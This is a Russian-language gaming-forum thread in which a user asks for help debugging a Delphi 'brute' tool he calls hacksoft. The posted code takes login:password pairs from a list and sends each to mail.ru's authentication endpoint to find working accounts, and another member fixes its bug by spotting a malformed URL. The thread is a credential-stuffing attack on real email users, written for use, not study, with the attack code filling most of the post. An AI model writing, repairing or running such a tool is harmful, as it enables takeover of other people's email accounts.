11:35
ОбновитьСмайлыУправление мини-чатом
МИНИ-ЧАТ
Главная страница!

 



 
        
Девушки в SAMP (61)
kiruha111 10.06.2018 18:34
 





Рекомендуем:





Последние Файлы GTA 4 Последние Файлы GTA-MP Реклама
Скрипт GTA 4 элементы Watch... 07.09.2014
Ferrari 360 Spider [EPM con... 13.12.2013
Porsche Cayenne Turbo 2012 ... 13.12.2013
Shelby Terlingua Mustang v1... 13.12.2013
Hamann Lamborghini Gallardo... 27.10.2013
[GM] The Big PEN1:LS v2.00 ... 04.12.2017
Dgun (AvnanceRP,SampRP,Dimo... 19.03.2016
SAMP скрипт SX Events (MySQ... 03.03.2016
Карта ASL мэрия для SAMP се... 03.03.2016
AIM для SA-MP 0.3.7 22.02.2016
  • Страница 1 из 1
  • 1
Модератор форума: Kievskiy, Dima-kun  
Форум SAMP о мультиплеерах для GTA. » Обсуждения других тем » Системы и Сети » [Решено] [Delphi] Нужна помощь
[Решено] [Delphi] Нужна помощь
DiZiДата: Среда, 24.09.2014, 11:19 | Сообщение # 1
Местный
Группа: Продвинутые
Сообщений: 669
Награды: 2
Город: новокузнецк
Репутация: 158
Замечания: 40%
Статус:
Доброго времени суток.
Уважаемые знатоки/кодеры, нужна ваша помощь по delphi.
Суть проблемы:
Пишу хаксофт( брут ), но столкнулся с проблемой, при нажатии кнопки старт вылетает ошибка "A call to an OS function failed" и следовательно программа не работает.

[cut noguest=Код][pwn]procedure Potok.Execute;
var
nast: integer;
Param: TStringList;
TResult: TStringList;
http: TIdHTTP;
begin
inherited;
ShowMessage( '1' );
while startWork do
begin
ShowMessage( '2' );
crSec.Enter;
inc( acc );
ShowMessage( '3' );
if acc < mails.Count then nast:= acc else startWork := false;
crSec.Leave;
ShowMessage( '4' );
if startWork = true then
begin
ShowMessage( '5' );
http:= TIdHTTP.Create( nil );
loginPath := Copy( mails[ nast ], 1, pos( ':', mails[ nast ] ) -1 );
passPath := Copy( mails[ nast ], pos( ':', mails[ nast ] ) +1, length( mails[ nast ] ) );
ShowMessage( '6' );
TResult:= TStringList.Create;
Param:= TStringList.Create;
//Post запрос на mail.ru
//http://www.mail.ru/cgi-bin/auth?Login=your_login&Domain=mail.ru&Password=your_password
ShowMessage( '7' );
Param.Add( 'Login=' +loginPath );
Param.Add( '&Domain=mail.ru&' );
Param.Add( 'Password=' +passPath );
TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );

ShowMessage( '8' );
if pos( 'logout', Param.Text ) <> 0 then result:= 1 else result:= -1;
ShowMessage( '9' );
http.Free;
Param.Free;
Synchronize( Sunch );
ShowMessage( '10' );
end;
end;
ShowMessage( '11' );
dec( Tpotok );
if Tpotok = 0 then ShowMessage( 'Готово...' );
end;[/pwn][/cut]

До 8 не доходит "ShowMessage( '8' );"

Буду очень благодарен за помощь.
За ранее спасибо.

PS. Не знал в каком разделе создать тему, по этому создал тут.



======= Мои проекты =======
[GM]Zombie Mod [Разработка][7%]
=======================


=====Мои работы=====
[FS] Auto Menu
[FS] AdminPanel




an21Дата: Среда, 24.09.2014, 14:42 | Сообщение # 2
Уверенный в себе
Группа: Продвинутые
Сообщений: 150
Награды: 1
Город: localhost
Репутация: 233
Замечания: 0%
Статус:
не работаю в дельфи, не разбирался в коде, но ttp?
Цитата DiZi ()
TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );



silver break project developer
DiZiДата: Среда, 24.09.2014, 16:22 | Сообщение # 3
Местный
Группа: Продвинутые
Сообщений: 669
Награды: 2
Город: новокузнецк
Репутация: 158
Замечания: 40%
Статус:
Проблему решил, можно закрыть тему.
an21, Да, проблема была именно в этом



======= Мои проекты =======
[GM]Zombie Mod [Разработка][7%]
=======================


=====Мои работы=====
[FS] Auto Menu
[FS] AdminPanel




Dima-kunДата: Среда, 24.09.2014, 16:41 | Сообщение # 4
Группа: Разработчики
Сообщений: 6262
Награды: 72
Репутация: 3482
Замечания: 0%
Статус:
Закрыто.


Мои работы:
[INC] Сборник d_includes [LAST],[FS] New Demage Effect,[FS]Авто-Поворотники,
[FS]mp3player,[FS] Fun Chat Game,[FS] Car Buy Syst,[FS] Anti-AirBrk,[INC] d_setpos,
[GM] Game Move v0.1,[FS+include]Super-Armour [0.3z],[FS + Include] Multi Checkpoints
Форум SAMP о мультиплеерах для GTA. » Обсуждения других тем » Системы и Сети » [Решено] [Delphi] Нужна помощь
  • Страница 1 из 1
  • 1
Поиск:





 


 


 
Хостинг от uCoz SAMP-RUS.COM